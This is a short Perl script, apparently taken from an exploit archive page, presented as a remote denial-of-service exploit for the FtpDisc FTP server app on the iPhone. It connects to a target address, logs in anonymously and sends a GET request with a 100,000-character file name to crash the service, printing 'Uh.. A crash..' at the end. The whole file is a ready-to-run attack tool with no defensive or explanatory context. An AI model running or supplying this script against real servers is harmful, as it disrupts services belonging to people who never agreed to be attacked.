37 lines
No EOL
732 B
Perl
Executable file
37 lines
No EOL
732 B
Perl
Executable file
#!/usr/bin/perl
|
|
#Title: FtpDisc for Iphone - Remote DOS Exploit
|
|
#Date: 23/02/2010
|
|
#Author: Ale46 - ale46[at]paranoici[dot]org
|
|
#Software Link: http://mochasoft.dk/iphone_ftp.htm
|
|
#Version: 1.0
|
|
#Note: FtpDisc Lite has the same vuln
|
|
#Greetz: Gandalf
|
|
|
|
|
|
use Net::FTP;
|
|
|
|
if(@ARGV<1){
|
|
print "[-]\t Error: ./ftpdisc <ftp_server_ip>\n";
|
|
exit();
|
|
}
|
|
|
|
my $ftp;
|
|
my $host = $ARGV[0];
|
|
my $stuff;
|
|
|
|
for ($i=0;$i<100000;$i++){
|
|
$stuff .="A";
|
|
}
|
|
|
|
|
|
$ftp = Net::FTP->new($host, Timeout=>24, Debug => 0)
|
|
or die "Error: $@";
|
|
print "\n[-]\t Logging to FTP\n\n";
|
|
sleep(2);
|
|
$ftp->login('anonymous','test@test.net')
|
|
or die "Error: ", $ftp->message;
|
|
print "[-]\t Sending Eval Command\n\n";
|
|
sleep(2);
|
|
$ftp->get($stuff);
|
|
$ftp->quit;
|
|
print "[-]\t Uh.. A crash..\n"; |